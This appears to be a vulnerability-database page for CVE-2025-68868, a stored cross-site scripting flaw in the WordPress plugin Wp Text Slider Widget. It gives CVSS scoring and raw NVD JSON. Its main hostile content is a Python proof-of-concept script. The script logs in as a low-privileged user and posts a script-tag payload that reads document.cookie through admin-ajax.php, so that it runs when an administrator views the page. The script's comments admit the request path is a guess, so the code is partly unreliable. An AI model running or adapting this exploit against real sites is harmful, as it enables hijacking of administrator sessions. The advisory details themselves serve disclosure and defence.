Security Vulnerability Report
中文
CVE-2025-68868 CVSS 6.5 MEDIUM

CVE-2025-68868

Published: 2025-12-29 17:15:47
Last Modified: 2026-04-23 15:36:10

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in codeaffairs Wp Text Slider Widget wp-text-slider-widget allows Stored XSS.This issue affects Wp Text Slider Widget: from n/a through <= 1.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Wp Text Slider Widget <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-68868 PoC - Stored XSS in wp-text-slider-widget # Target: WordPress site with vulnerable wp-text-slider-widget plugin target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" username = "attacker" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in str(session.cookies): print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Step 2: Inject malicious XSS payload into text slider # The payload will execute alert() when viewed by admin xss_payload = "<script>alert(document.cookie)</script>" # Navigate to widget settings page (path may vary) widget_url = f"{target_url}/wp-admin/widgets.php" # The actual exploitation requires finding the text slider widget # and submitting the XSS payload through the form print(f"[+] XSS Payload: {xss_payload}") print("[+] Payload will be stored and executed when admin views the page") # Alternative: Direct POST to widget options # POST /wp-admin/admin-ajax.php ajax_data = { "action": "save-widget", "wp-sidebar": "sidebar-1", "widget-text-slider-widget[]": xss_payload, "id-base": "text-slider-widget", "widget-width": "", "widget-height": "", "widget_id": "text-slider-widget-1" } response = session.post(f"{target_url}/wp-admin/admin-ajax.php", data=ajax_data) if response.status_code == 200: print("[+] Payload injection successful") else: print("[-] Injection failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68868", "sourceIdentifier": "[email protected]", "published": "2025-12-29T17:15:46.903", "lastModified": "2026-04-23T15:36:10.457", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in codeaffairs Wp Text Slider Widget wp-text-slider-widget allows Stored XSS.This issue affects Wp Text Slider Widget: from n/a through <= 1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-text-slider-widget/vulnerability/wordpress-wp-text-slider-widget-plugin-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}